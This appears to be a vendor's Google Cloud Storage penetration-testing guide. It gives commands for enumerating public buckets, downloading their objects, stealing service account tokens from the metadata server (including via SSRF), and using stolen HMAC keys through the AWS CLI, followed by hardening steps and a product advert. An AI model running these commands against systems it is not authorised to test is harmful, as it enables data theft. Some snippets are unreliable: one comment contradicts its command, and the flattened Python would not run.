Google Cloud Storage holds the same high-value data as AWS S3 and Azure Blob — backups, configs, user uploads, and ML training data — and shares many of the same misconfiguration patterns. The critical difference: GCS's allUsers and allAuthenticatedUsers IAM members can expose data to literally anyone on the internet or any Google Account holder. This guide covers systematic GCS security testing: public bucket enumeration, signed URL exploitation, service account key theft, object ACL inheritance bypass, and HMAC key abuse.
| Misconfiguration | IAM Member | Impact |
|---|---|---|
| Public read access | allUsers: roles/storage.objectViewer | Anyone can list and download all objects |
| Authenticated user access | allAuthenticatedUsers: viewer | Any Google Account holder can read |
| Public write access | allUsers: roles/storage.objectCreator | Anyone can upload arbitrary objects |
| Over-privileged service account | SA with storage.admin on all projects | SA key theft = full storage access |
| Long-lived signed URLs | V2/V4 signed URLs in code | URL leaked = unauthorized access |
| HMAC keys not rotated | Service account HMAC key | Key theft = S3-compatible API access |
| Bucket ACLs vs uniform access | Mixed ACL + IAM (non-uniform) | Object-level ACL bypass of bucket IAM |
# GCS URLs: https://storage.googleapis.com/{bucket}/{object}
# or: https://{bucket}.storage.googleapis.com/{object}
# Test if a bucket is publicly accessible
BUCKET="target-company-backups"
curl -s -o /dev/null -w "%{http_code}" \
"https://storage.googleapis.com/storage/v1/b/$BUCKET/o"
# 200 = public list access, 403 = private, 404 = doesn't exist
# List objects in a public bucket
curl -s "https://storage.googleapis.com/storage/v1/b/$BUCKET/o?maxResults=1000" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
items = data.get('items', [])
print(f'Total objects: {len(items)}')
for obj in items:
print(f\" {obj['name']} ({obj.get('size','?')} bytes)\")
"
# Download a specific object from a public bucket
curl -s "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/config.json?alt=media" -o config.json
# Bucket name enumeration using common patterns
for name in "$COMPANY" "${COMPANY}-prod" "${COMPANY}-backup" "${COMPANY}-static" \
"${COMPANY}-assets" "${COMPANY}-uploads" "${COMPANY}-logs" "${COMPANY}-data"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
"https://storage.googleapis.com/storage/v1/b/$name/o")
echo "$name: HTTP $code"
done
# Use GCPBucketBrute or manual enumeration with gcloud (if authenticated)
gcloud storage ls --project target-project 2>/dev/null
# Check bucket IAM policy for dangerous bindings
gcloud storage buckets get-iam-policy gs://$BUCKET | \
python3 -c "
import json,sys,yaml
policy = yaml.safe_load(sys.stdin)
for binding in policy.get('bindings', []):
members = binding.get('members', [])
role = binding.get('role', '')
if 'allUsers' in members:
print(f'[CRITICAL] allUsers: {role}')
if 'allAuthenticatedUsers' in members:
print(f'[HIGH] allAuthenticatedUsers: {role}')
"
# Or via JSON API (no gcloud required)
curl -s "https://storage.googleapis.com/storage/v1/b/$BUCKET/iam" | \
python3 -c "
import json,sys
policy = json.load(sys.stdin)
for binding in policy.get('bindings', []):
if any(m in ['allUsers','allAuthenticatedUsers'] for m in binding.get('members',[])):
print(f\"[!] {binding['role']}: {binding['members']}\")
"
# allAuthenticatedUsers test: try accessing with ANY Google account OAuth token
TOKEN=$(gcloud auth print-access-token 2>/dev/null) # your personal Google account
curl -s -H "Authorization: Bearer $TOKEN" \
"https://storage.googleapis.com/storage/v1/b/$BUCKET/o" | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(f\"Objects found: {len(d.get('items',[]))}\")"
# GCS Signed URLs are time-limited pre-signed URLs for object access
# V2 uses RSA-SHA256 or HMAC-SHA1; V4 uses RSA-SHA256 or HMAC-SHA256
# Signed URL structure (V4):
# https://storage.googleapis.com/{bucket}/{object}
# ?X-Goog-Algorithm=GOOG4-RSA-SHA256
# &X-Goog-Credential=sa%40project.iam.gserviceaccount.com%2F20260703%2Fauto%2Fstorage%2Fgoog4_request
# &X-Goog-Date=20260703T000000Z
# &X-Goog-Expires=3600
# &X-Goog-SignedHeaders=host
# &X-Goog-Signature=SIGNATURE
# Parse a signed URL
python3 << 'EOF'
from urllib.parse import urlparse, parse_qs
url = "PASTE_SIGNED_URL_HERE"
params = parse_qs(urlparse(url).query)
print(f"Algorithm: {params.get('X-Goog-Algorithm', ['?'])[0]}")
cred = params.get('X-Goog-Credential', ['?'])[0]
parts = cred.split('/')
print(f"Service Account: {parts[0]}")
print(f"Date: {parts[1] if len(parts)>1 else '?'}")
print(f"Expires: {params.get('X-Goog-Expires', ['?'])[0]}s")
import time
expires = int(params.get('X-Goog-Expires', ['0'])[0])
date_str = parts[1] if len(parts)>1 else '20200101'
import datetime
created = datetime.datetime.strptime(date_str+'T'+params.get('X-Goog-Date',['T000000Z'])[0].split('T')[1], '%Y%m%dT%H%M%SZ')
expiry = created + datetime.timedelta(seconds=expires)
print(f"Valid until: {expiry.isoformat()}")
if expires > 86400:
print(f"[!] URL valid for {expires//3600}+ hours — overly permissive")
EOF
# Find signed URLs in source code / logs
grep -rE "X-Goog-Signature|storage\.googleapis\.com.*X-Goog" . \
--include="*.py" --include="*.js" --include="*.go" --include="*.log" | head -10
# V2 signed URL downgrade attack (if V2 is accepted)
# V2 allows simple base64-encoded strings as path for resource
# Test by modifying the path component
# Service account keys (JSON) have storage permissions
# Find keys in application configs
find . -name "*.json" -exec grep -l "private_key_id\|service_account" {} \;
# Check if GCE instance metadata exposes service account with storage access
# From GCE instance or via SSRF to metadata server:
TOKEN=$(curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google" | python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
# Use token to access GCS
curl -s "https://storage.googleapis.com/storage/v1/b?project=target-project" \
-H "Authorization: Bearer $TOKEN" | \
python3 -c "import json,sys; [print(b['name']) for b in json.load(sys.stdin).get('items',[])]"
# Check what scopes the instance metadata token has
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes" \
-H "Metadata-Flavor: Google"
# https://www.googleapis.com/auth/devstorage.full_control = full GCS access
# Enumerate service account keys via IAM API
gcloud iam service-accounts keys list \
--iam-account=sa@project.iam.gserviceaccount.com \
--format="table(name,keyType,validAfterTime,validBeforeTime)"
# Check if key rotation policy is enforced
gcloud projects get-iam-policy target-project \
--format=json | python3 -c "
import json,sys
policy = json.load(sys.stdin)
print('Conditions on storage roles:')
for b in policy.get('bindings',[]):
if 'storage' in b.get('role',''):
condition = b.get('condition',{})
print(f\" {b['role']}: {condition.get('expression','no condition')}\")
"
GCS supports an S3-compatible API using HMAC keys. HMAC keys tied to service accounts can be used to access GCS using S3 SDKs — they're often overlooked in security audits.
# HMAC keys provide S3-compatible access to GCS
# Find HMAC keys for service accounts
gcloud storage hmac list --project target-project \
--format="table(metadata.accessId,metadata.state,metadata.serviceAccountEmail,metadata.createTime)"
# Deactivated keys can be reactivated (if you have storage.hmacKeys.update)
gcloud storage hmac update ACCESS_ID --deactivate
# Use a stolen HMAC key with the AWS CLI (S3-compatible)
aws configure --profile gcs-hack
# AWS Access Key ID = HMAC access ID (starts with GOOG)
# AWS Secret Access Key = HMAC secret
# Default region = leave blank
# Access GCS via S3-compatible API
aws s3 --profile gcs-hack --endpoint-url https://storage.googleapis.com ls
aws s3 --profile gcs-hack --endpoint-url https://storage.googleapis.com ls s3://target-bucket
aws s3 --profile gcs-hack --endpoint-url https://storage.googleapis.com cp s3://target-bucket/file.txt .
# Audit HMAC key creation events in Cloud Audit Logs
gcloud logging read 'protoPayload.methodName="storage.hmacKeys.create"' \
--limit=50 --format=json | \
python3 -c "import json,sys; [print(e['protoPayload']['authenticationInfo']['principalEmail'], e['timestamp']) for e in json.load(sys.stdin)]"
# GCS has two access control models:
# 1. Uniform bucket-level access (recommended): IAM only, no object ACLs
# 2. Fine-grained (legacy): mix of bucket IAM + per-object ACLs
# When fine-grained ACLs are enabled, individual objects can have
# different permissions than the bucket policy
# Check if uniform bucket-level access is enabled
curl -s "https://storage.googleapis.com/storage/v1/b/$BUCKET?fields=iamConfiguration" | \
python3 -c "
import json,sys
config = json.load(sys.stdin).get('iamConfiguration',{})
uniform = config.get('uniformBucketLevelAccess',{}).get('enabled',False)
print(f'Uniform bucket-level access: {uniform}')
if not uniform:
print('[!] Fine-grained ACLs enabled — check individual object ACLs')
"
# Check ACL on a specific object (if fine-grained ACLs enabled)
curl -s "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/sensitive-file.txt/acl" | \
python3 -c "
import json,sys
acls = json.load(sys.stdin)
for entry in acls.get('items',[]):
entity = entry.get('entity','?')
role = entry.get('role','?')
if entity in ['allUsers','allAuthenticatedUsers']:
print(f'[!] {entity}: {role} on this object')
"
# Test if a bucket has uniform=false and some objects are publicly readable
# while others are private (inconsistent protection)
for obj in file1.txt file2.txt backup.sql credentials.env; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
"https://storage.googleapis.com/storage/v1/b/$BUCKET/o/$obj?alt=media")
echo "$obj: HTTP $code"
done
# 1. Enable uniform bucket-level access on all buckets
gcloud storage buckets update gs://$BUCKET --uniform-bucket-level-access
# 2. Enforce uniform bucket-level access via org policy
gcloud resource-manager org-policies set-policy \
--organization=ORG_ID \
constraints/storage.uniformBucketLevelAccess.yaml
# policy.yaml:
# constraint: constraints/storage.uniformBucketLevelAccess
# listPolicy:
# allValues: ALLOW
# 3. Prevent public access via org policy
gcloud resource-manager org-policies set-policy \
--organization=ORG_ID \
constraints/storage.publicAccessPrevention.yaml
# policy.yaml:
# constraint: constraints/storage.publicAccessPrevention
# booleanPolicy:
# enforced: true
# 4. Enable soft delete for ransomware protection
gcloud storage buckets update gs://$BUCKET --soft-delete-duration=604800 # 7 days
# 5. Disable HMAC keys if not needed for S3-compatible clients
# Audit and delete unused HMAC keys
for key in $(gcloud storage hmac list --format="value(metadata.accessId)"); do
gcloud storage hmac delete $key
done
# 6. Enforce CMEK (Customer-Managed Encryption Keys) for sensitive buckets
gcloud storage buckets update gs://$BUCKET --default-encryption-key=KEY_RESOURCE_ID
# 7. Enable Data Access audit logs for storage
gcloud projects get-iam-policy $PROJECT --format=json | \
python3 -c "
import json
# Add DATA_READ and DATA_WRITE audit log config for storage.googleapis.com
"
# 8. Restrict service account scope to minimum required storage permissions
# Use roles/storage.objectViewer for read-only, not roles/storage.admin
| Security Test | Method | Risk |
|---|---|---|
| allUsers IAM binding | get-iam-policy, check for allUsers | Critical |
| Public bucket listing | curl /storage/v1/b/{bucket}/o | Critical |
| Long-lived signed URLs in code | grep for X-Goog-Signature | High |
| GCE metadata SA scope | metadata.google.internal scopes | High |
| HMAC key existence | gcloud storage hmac list | High |
| Fine-grained ACLs enabled | iamConfiguration.uniformBucketLevelAccess | Medium |
| Service account key rotation | iam service-accounts keys list | Medium |
Ironimo scans GCP Cloud Storage for public bucket exposure, allUsers/allAuthenticatedUsers IAM misconfigurations, HMAC key issues, and service account over-privilege — giving you complete visibility into your GCS security posture.
Start free scan